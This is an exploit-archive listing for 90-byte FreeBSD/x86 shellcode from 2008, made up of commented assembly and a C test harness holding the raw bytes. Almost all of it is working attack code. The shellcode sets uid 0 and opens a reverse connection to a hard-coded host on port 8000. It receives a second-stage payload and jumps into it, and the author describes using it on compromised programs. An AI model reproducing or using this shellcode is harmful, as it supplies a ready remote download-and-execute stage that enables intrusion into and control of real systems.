what you don't know can hurt you

freebsd-revcon.txt

freebsd-revcon.txt
Posted Sep 5, 2008
Authored by sm4x

90 byte rev connect, recv, jmp, return results shellcode for freebsd/x86.

tags | x86, shellcode
systems | freebsd
MD5 | 5f235f3f42ac49433596de4a8bf427b2

freebsd-revcon.txt

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/*
; sm4x - 2008
; reverse connect dl(shellcode) and execute, exit
; - i've used this to feed pwnd progs huge messy shellcode ret'ing the results over nc ;)
; - feed it with a $nc -vvl -p8000 <shellcode_in_file
; setuid(0); socket(); connect(); dups(); recv(); jmp; exit();
; 90 bytes (NULL free dep on remote address)
; FreeBSD 7.0-RELEASE

global _start
_start:

xor eax, eax

; --- setuid(0)
push eax
push eax
mov al, 0x17
push eax
int 0x80

; --- socket()
push eax
push byte 0x01
push byte 0x02
mov al, 0x61
push eax
int 0x80
mov edx, eax

; --- sockaddr_in setup
push 0x90011ac ; host 172.17.0.9 (.0. is a NULL)
push 0x401f02AA ; port 8000
mov eax, esp

; --- setup connect(edx, eax, 0x10);
push byte 0x10
push eax
push edx
xor eax, eax
mov al, 0x62
push eax
int 0x80
jne done

; --- dup2(0+1+2) - remove if you dont want results sent over the wire
mov cl, 0x03
xor ebx, ebx
dups:
push ebx
push edx
mov al, 0x5a
push eax
int 0x80
inc ebx
loop dups

; --- recv(fd, *buf, 1028);
xor eax, eax
push word 0x0404 ; conf read size here
lea ecx, [esp-0x0404] ; and here
push ecx
push edx
mov al, 0x03
push eax
int 0x80

; --- jmp to recv shellcode
jmp ecx ; run shellcode
done:

; --- exit (optional -> pls exit from jmp shellcode)
xor eax, eax
inc eax
push eax
push eax
int 0x80

*/

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>

char code[] = "\x31\xc0\x50\x50\xb0\x17\x50\xcd\x80\x50"
"\x6a\x01\x6a\x02\xb0\x61\x50\xcd\x80\x89"
"\xc2\x68\xac\x11\x00\x09\x68\xaa\x02\x1f"
"\x40\x89\xe0\x6a\x10\x50\x52\x31\xc0\xb0"
"\x62\x50\xcd\x80\x75\x24\xb1\x03\x31\xdb"
"\x53\x52\xb0\x5a\x50\xcd\x80\x43\xe2\xf6"
"\x31\xc0\x66\x68\x04\x04\x8d\x8c\x24\xfc"
"\xfb\xff\xff\x51\x52\xb0\x03\x50\xcd\x80"
"\xff\xe1\x31\xc0\x40\x50\x50\xcd\x80";

int main(int argc, char **argv) {
int (*func)();
printf("Bytes: %d\n", sizeof(code));
func = (int (*)()) code;
(int)(*func)();
}


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